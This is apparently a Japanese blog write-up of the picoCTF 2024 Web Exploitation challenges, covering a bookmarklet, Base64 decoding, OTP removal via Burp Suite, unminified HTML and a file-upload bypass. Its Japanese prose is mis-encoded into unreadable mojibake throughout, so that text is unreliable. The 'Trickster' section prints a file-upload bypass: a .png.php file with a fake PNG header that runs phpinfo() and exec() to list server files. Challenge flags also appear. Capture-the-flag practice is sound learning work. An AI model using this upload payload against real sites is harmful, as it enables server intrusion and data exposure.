åå ã¯ãpicoCTF ã® picoCTF 2024 ã®ãã¡ãGeneral Skills ããã£ã¦ã¿ã¾ãããå
¨10åãå
¨é¨è§£ãã¾ããã
ä»åã¯ãå¼ãç¶ããpicoCTF ã® picoCTF 2024 ã®ãã¡ãWeb Exploitation ã¨ããã«ãã´ãªã®å
¨6åããã£ã¦ããããã¨æãã¾ããMedium ã 1åãHard ã 1åã§ãã
ããã§ã¯ããã£ã¦ããã¾ãã
ã¯ããã«
ãã»ãã¥ãªãã£ãã®è¨äºä¸è¦§ã§ããè¯ãã£ããåèã«ãã¦ãã ããã
ã»ãã¥ãªãã£ã®è¨äºä¸è¦§
picoCTF ã®å
¬å¼ãµã¤ãã¯ä»¥ä¸ã§ããè±èªã®ãµã¤ãã§ãããã·ã³ãã«ã§åãããããã®ã§å°ããã«é²ãããã¨ãã§ãã¾ãã
picoctf.com
ããã§ã¯ããã£ã¦ããã¾ãã
picoCTF 2024ï¼Web Exploitation
ãã¤ã³ãã®ä½ãé ã«ãã£ã¦ããã¾ãã
Bookmarkletï¼50ãã¤ã³ãï¼
Easy ã®åé¡ã§ãããµã¼ãï¼ã¤ã³ã¹ã¿ã³ã¹ï¼ãèµ·åããã¨ããããå§ã¾ãããã§ãã
ãµã¼ããèµ·åããã¨ã1ã¤ã®ãªã³ã¯ã表示ããã¾ããã¯ãªãã¯ããã¨ãWebãã¼ã¸ã表示ããã¾ããããã«ã¯ãããã¯ãã¼ã¯ã¬ãããããã¾ããããã Chrome ã«ç»é²ãã¦ãç»é²ããããã¯ãã¼ã¯ã¬ãããå®è¡ããã¨ãã©ã°ã表示ããã¾ãã
ä¸å¿ãããã¯ãã¼ã¯ã¬ããã®æé ã ãæ¸ãã¦ããã¾ããCtrl+Shift+B ãæ¼ãã¦ãããã¯ãã¼ã¯ãã¼ã表示ãã¾ããããã¯ãã¼ã¯ãã¼ã®ç©ºãã¦ãã¨ãããå³ã¯ãªãã¯ãã¦ãããã¼ã¸ã追å ...ããã¯ãªãã¯ãã¾ããURL ã®ã¨ããã«ãããã¯ãã¼ã¯ã¬ããã®ã½ã¼ã¹ã³ã¼ãï¼JavaScriptï¼ãè²¼ãä»ãã¦ãä¿åãã¯ãªãã¯ããã¨ãããã¯ãã¼ã¯ã¬ããã®å®æã§ãããã¨ã¯ãããã¯ãã¼ã¯ã表示ããã®ã¨åãããã«ãç»é²ããããã¯ãã¼ã¯ã¬ãããã¯ãªãã¯ããã ãã§ãã
WebDecodeï¼50ãã¤ã³ãï¼
Easy ã®åé¡ã§ãããµã¼ãï¼ã¤ã³ã¹ã¿ã³ã¹ï¼ãèµ·åããã¨ããããå§ã¾ãããã§ãã
ãµã¼ããèµ·åããã¨ã1ã¤ã®ãªã³ã¯ã表示ããã¾ããã¯ãªãã¯ããã¨ãWebãã¼ã¸ã表示ããã¾ããWebã¤ã³ã¹ãã¯ã¿ã¼ãç¥ã£ã¦ããï¼ã¨è¨ããã¦ã¾ãããããããã¼ãã¼ã«ã®ãã¨ã§ããããï¼Webã¤ã³ã¹ãã¯ã¿ã¼ã調ã¹ã¦ã¿ãã¨ããã¯ãããããããã¼ãã¼ã«ã®ãã¨ã®ããã§ãã
ã¨ããããã表示ããããã¼ã¸ã®ã½ã¼ã¹ãè¦ã¦ã¿ã¾ããç¹ã«å¤ãªã¨ããã¯ãªãããã§ããæåã«è¡¨ç¤ºãããã®ã HOME ã§ããã以å¤ã«ãABOUT 㨠CONTACT ã®å¥ã®ãã¼ã¸ãããã¾ããã両æ¹ã¨ã表示ãã¦ãã½ã¼ã¹ã®å
容ã確èªãã¾ããã
ABOUT ã«ã¯ã大ãããTry inspecting the page!! You might find it thereãã¨æ¸ããã¦ãã¾ãããã®ãã¼ã¸ã§ãããããã½ã¼ã¹ãè¦ãã¨ãæªããæååï¼notify_true="cGljb0NURnt3ZWJfc3VjYzNzc2Z1bGx5X2QzYzBkZWRfZGYwZGE3Mjd9"ï¼ãæ¸ããã¦ãã¾ããBase64ã§ããããï¼
ãã£ã¦ã¿ã¾ãããã©ã°åºã¾ããã
$ echo -n "cGljb0NURnt3ZWJfc3VjYzNzc2Z1bGx5X2QzYzBkZWRfZGYwZGE3Mjd9" | base64 -d
picoCTF{web_succ3ssfully_d3c0ded_df0da727}
IntroToBurpï¼100ãã¤ã³ãï¼
Easy ã®åé¡ã§ãããµã¼ãï¼ã¤ã³ã¹ã¿ã³ã¹ï¼ãèµ·åããã¨ããããå§ã¾ãããã§ãã
ãµã¼ããèµ·åããã¨ã1ã¤ã®ãªã³ã¯ã表示ããã¾ããã¿ã¤ãã«ã«ããã®ã§ãBurpSuite ã§ã¢ã¯ã»ã¹ãã¦ã¿ã¾ãã
Registerç»é¢ã§ãFull Name
ãUsername
ãPhone Number
ãCity
ãPassword
ãå
¥åãã¾ãããã®å¾ã2fa authenticationç»é¢ã«ãªããEnter OTP
ãå
¥åãã¾ãã
2FA ã¨ã¯ã2è¦ç´ èªè¨¼ã®ãã¨ã§ããã¹ã¯ã¼ã以å¤ã«ããã1ã¤ã®è¦ç´ ã§èªè¨¼ãããã¨ã®ããã§ããä¾ãã°ãOTP ã§ããã°ãSMS ã§ç¢ºèªã³ã¼ããéããã¦ãã¦ããããå
¥åãããããªãã®ã§ãã
OTP ã«é©å½ãªæååãå
¥ãã¦ããInvalid OTP
ãè¿ã£ã¦ããã ãã§ãã
BurpSuite ã§ãHTTP ã®éä¿¡å
容ãè¦ã¦ãã¾ãããããã¨è¨ã£ã¦å¤ãªã¨ããã¯ããã¾ããã®ã§ãæ¹å¤ãã¦ããã¾ããã¾ãã¯ãã¨ã©ã¼ãåºã¦ãåå ã«ãªã£ã¦ããotp=xxxãããBurpSuite ã§åé¤ãã¦éããªãããã«ãã¾ãããããã©ã°ã表示ããã¾ããã
Unminifyï¼100ãã¤ã³ãï¼
Easy ã®åé¡ã§ãããµã¼ãï¼ã¤ã³ã¹ã¿ã³ã¹ï¼ãèµ·åããã¨ããããå§ã¾ãããã§ãã
ãµã¼ããèµ·åããã¨ã1ã¤ã®ãªã³ã¯ã表示ããã¾ããã¢ã¯ã»ã¹ãã¦ã¿ã¾ãããã©ã°ã¯æ¢ã«åä¿¡ãã¦ããã¨ãããããªã¡ãã»ã¼ã¸ã表示ããã¾ããã½ã¼ã¹ã³ã¼ããè¦ã¦ã¿ã¾ãã1è¡ã«å§ç¸®ããã¦ã¾ãã
VSCode ã§ãã½ã¼ã¹ãæ´å½¢ãã¾ãããã©ã°ãããã¾ããã
<html lang="en">
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width,initial-scale=1" />
<title>picoCTF - picoGym | Unminify Challenge</title>
<link rel="icon" type="image/png" sizes="32x32" href="/favicon-32x32.png" />
<style>
body {
font-family: "Lucida Console", Monaco, monospace;
}
h1,
p {
color: #000;
}
</style>
</head>
<body class="picoctf{}" style="margin: 0">
<div
class="picoctf{}"
style="
margin: 0;
padding: 0;
background-color: #757575;
display: auto;
height: 40%;
"
>
<a class="picoctf{}" href="/"
><img
src="picoctf-logo-horizontal-white.svg"
alt="picoCTF logo"
style="
display: inline-block;
width: 160px;
height: 90px;
padding-left: 30px;
"
/></a>
</div>
<center>
<br class="picoctf{}" /><br class="picoctf{}" />
<div
class="picoctf{}"
style="
padding-top: 30px;
border-radius: 3%;
box-shadow: 0 5px 10px #0000004d;
width: 50%;
align-self: center;
"
>
<img
class="picoctf{}"
src="hero.svg"
alt="flag art"
style="width: 150px; height: 150px"
/>
<div class="picoctf{}" style="width: 85%">
<h2 class="picoctf{}">Welcome to my flag distribution website!</h2>
<div class="picoctf{}" style="width: 70%">
<p class="picoctf{}">
If you're reading this, your browser has succesfully received the
flag.
</p>
<p class="picoCTF{pr3tty_c0d3_622b2c88}"></p>
<p class="picoctf{}">
I just deliver flags, I don't know how to read them...
</p>
</div>
</div>
<br class="picoctf{}" />
</div>
</center>
</body>
</html>
No Sql Injectionï¼200ãã¤ã³ãï¼
ã¡ã³ããã³ã¹ä¸ã§åºæ¥ã¾ããã§ããã
Tricksterï¼300ãã¤ã³ãï¼
Medium ã®åé¡ã§ãããµã¼ãï¼ã¤ã³ã¹ã¿ã³ã¹ï¼ãèµ·åããã¨ããããå§ã¾ãããã§ãã
ãµã¼ããèµ·åããã¨ããªã³ã¯ã 1ã¤è¡¨ç¤ºãããã®ã§ãã¢ã¯ã»ã¹ãã¦ã¿ã¾ãã
ãã¡ã¤ã«ãã¢ãããã¼ãã§ããããã§ããé©å½ãª PNGç»åãé¸æãã¦ãUpload File
ãã¿ã³ãæ¼ãã¾ããããã¨ãFile uploaded successfully and is a valid PNG file. We shall process it and get back to you... Hopefully
ã¨ãæ£å¸¸çµäºããããã§ãã
æ¡å¼µåã PNGç»åãªãããã¨ãããã¨ãªã®ã§ãé©å½ãªã·ã§ã«ã¹ã¯ãªãããæ¡å¼µåã ããPNG ã«ãã¦ã¢ãããã¼ããã¦ã¿ã¾ãã
DATE=`date '+%Y/%m/%d %H:%M:%S'`
echo ${DATE} "start"
ã¢ãããã¼ããã¦ã¿ã¾ããããã¨ãError: The file is not a valid PNG image: 23212f62
ã¨è¨ããã¾ããã23212f62
ï¼#!/b
ï¼ ã¯ããã¤ããªã®å
é ã® 4byte ã ã¨æãã¾ããPNGç»åã®å
é 4byteï¼89 50 4E 47
ï¼ããã§ãã¯ãã¦ããã¨ãããã¨ã ã¨æãã¾ãã
ããããå¾ãã°ããªãã¨ã§ãåºæ¥ãã¨ãããã¨ã ã¨æãã¾ããã¾ããå
ã»ã©ã¢ãããã¼ããã PNGç»åï¼read.pngï¼ã表示ã§ãããã確èªãã¾ããimage/real.pngãimg/real.pngãgif/real.pngãupload/real.png ãªã©ã®ãã£ã¬ã¯ããªã試ãã¾ããããããããã¾ããã
ãã¼ããã®ãã¢ããã§ããwriteup ãè¦ã¦ã¿ã¾ãã
robots.txt ã«ã¢ãããã¼ããã£ã¬ã¯ããªã®å ´æãæ¸ããã¦ãããã§ããããã ã£ããWebåé¡ã¯ãã¨ã«ãããrobots.txt ãè¦ã¦ã¿ãã®ãå®ç³ã¨ããã¦ã¾ãããã¡ãªã¿ã«ä»¥ä¸ã robots.txt ã§ãã/uploads/real.png ãè¦ãã¨ãã¢ãããã¼ãããç»åã確èªã§ãã¾ããã
User-agent: *
Disallow: /instructions.txt
Disallow: /uploads/
instructions.txt ãè¦ã¦ã¿ã¾ããå
é ã® 0x89 ã¯ãã§ãã¯ãã¦ãªãããã§ãããªã®ã§ãæåã®æ¹ã« PNG ã¨æ¸ããã¦ããã°ããããã§ãã
Let's create a web app for PNG Images processing.
It needs to:
Allow users to upload PNG images
look for ".png" extension in the submitted files
make sure the magic bytes match (not sure what this is exactly but wikipedia says that the first few bytes contain 'PNG' in hexadecimal: "50 4E 47" )
after validation, store the uploaded files so that the admin can retrieve them later and do the necessary processing.
ãã¨ã¯ã.png
ã¨ããååãå«ã php ãã¡ã¤ã«ãä½ã£ã¦ãããã«ã¢ã¯ã»ã¹ããã°ããã¨ãããã¨ã§ãã以ä¸ã®å
容ã§ãxxx.png.php ã¨ãããã¡ã¤ã«ãã¢ãããã¼ãã§ãã¾ããã
PNG
<?php
phpinfo();
exec('find ../ -type f', $find);
print_r($find);
?>
uploads/xxx.png.php ã«ã¢ã¯ã»ã¹ããã¨ãphpinfo ã®æ
å ±ãåºåãããå¾ã以ä¸ãåºåããã¦ã¾ããï¼åãããããããã«æ¹è¡ãã¦ãã¾ãï¼ãä¸ã® 2ã¤ã¯ç§ãã¢ãããã¼ããããã¡ã¤ã«ã§ãä¸ã® 2ã¤ã¯å
ã»ã©è¦ã¾ãããindex.php ã¯ã¢ãããã¼ãç»é¢ã ã¨æãã®ã§ãGAZWIMLEGU2DQ.txt ãæªããã§ãã
Array (
[0] => ../uploads/real.png
[1] => ../uploads/xxx.png.php
[2] => ../GAZWIMLEGU2DQ.txt
[3] => ../index.php
[4] => ../instructions.txt
[5] => ../robots.txt )
ã§ã¯ãGAZWIMLEGU2DQ.txt ã«ãã©ã¦ã¶ã§ã¢ã¯ã»ã¹ãã¦ã¿ã¾ãã/* picoCTF{c3rt!fi3d_Xp3rt_tr1ckst3r_03d1d548} */
ã表示ããã¾ããã
elementsï¼500ãã¤ã³ãï¼
Hard ã®åé¡ã§ãããã¤ããªãã¡ã¤ã«ï¼elements.tar.gzï¼ã 1ã¤ãã¦ã³ãã¼ãã§ãã¾ããã¾ããã¤ã³ã¹ã¿ã³ã¹ï¼ãµã¼ãï¼ãèµ·åã§ãã¾ãããã¤ããªãã¡ã¤ã«ã¯ 158MB ãããã¾ãã
解åããã¨ã400MB 以ä¸ããã¾ãããã¡ãã£ã¨å®¹éã足ããªãã®ã§ãã¤ã³ã¹ãã¼ã«ã§ããªãã§ãããã®åé¡ã«ã¤ãã¦ã¯ãwriteup ãè¦ããã¦é ãã¦ãåå¼·ããã¦ããããã¨ã«ãã¾ãã
writeup ãè¦ã¾ããããæ£ç´è¨ã£ã¦è¦ã¦ãå
¨ç¶åããã¾ããï¼ç¬ï¼ãWeb ã«ã¤ãã¦ã¯ãåºç¤ã足ãã¦ãªãããã§ãã
ãããã«
ä»åã¯ãpicoCTF ã® picoCTF 2024 ã®ãã¡ãWeb Exploitation ã¨ããã«ãã´ãªã®å
¨6åãããã¾ãããæå¾ã® 2åã¯è§£ãã¾ããã§ããããè¦æ㪠Webåé¡ã®è¯ãçµé¨ã«ãªãã¾ããã
æå¾ã«ãªãã¾ããããã¨ã³ã¸ãã¢ã°ã«ã¼ãã®ã©ã³ãã³ã°ã«åå ä¸ã§ãã
æ°æ¥½ã«ãããã¨ãããããé¡ããããã¾ãð
ä»åã¯ä»¥ä¸ã§ãï¼
æå¾ã¾ã§ãèªã¿ããã ãããããã¨ããããã¾ããã